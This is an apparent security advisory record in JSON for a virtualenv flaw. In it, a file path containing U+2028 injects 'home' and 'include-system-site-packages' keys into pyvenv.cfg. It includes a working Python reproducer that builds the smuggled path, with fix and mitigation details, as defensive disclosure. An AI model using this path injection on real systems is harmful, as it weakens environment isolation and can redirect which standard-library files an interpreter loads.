{"id":"CVE-2026-113715","aliases":["GHSA-qmx5-4p3x-wvqf"],"url":"https://o3.security/vulnerability/CVE-2026-113715","summary":"virtualenv: Venv configuration readback can reinterpret path boundaries","details":"## Summary\n\nThe venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter's `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv's readback, not from the standard library's initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A->>S: path contains U+2028 and home = /attacker/chosen\n    S->>C: write path inside command value\n    V->>C: read with splitlines()\n    V->>V: parse suffix as separate keys\n    V->>C: rewrite home and include-system-site-packages\n    P->>C: read injected keys on startup\n    C-->>P: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker's input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.","published":"2026-10-20T19:42:55.011Z","modified":"2026-10-24T02:48:45.199330043Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"virtualenv","fixedVersion":"21.14.9"}],"fix":{"url":"https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a","label":"pypa/virtualenv@b0008a5"},"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113715.json"},{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113715"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3426"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T02:48:45.199330043Z"}}